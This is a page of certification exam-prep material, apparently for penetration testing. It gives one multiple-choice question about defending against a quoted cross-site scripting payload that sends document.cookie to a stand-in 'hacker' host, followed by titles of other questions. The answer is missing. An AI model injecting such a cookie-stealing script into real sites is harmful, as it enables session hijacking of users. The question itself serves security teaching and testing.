Multiple Choice
Given the following code: <SCRIPT>var+img=new+Image() ;img.src="http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
A) Web-application firewall
B) Parameterized queries
C) Output encoding
D) Session tokens
E) Input validation
F) Base64 encoding
Correct Answer:

Verified
Correct Answer:
Verified
Q56: The results of an Nmap scan are
Q57: A company conducted a simulated phishing attack
Q58: Appending string values onto another string is
Q59: A tester who is performing a penetration
Q60: A penetration tester who is conducting a
Q61: An assessment has been completed, and all
Q62: A company becomes concerned when the security
Q64: Which of the following is the MOST
Q65: A penetration tester was able to gain
Q66: Which of the following web-application security risks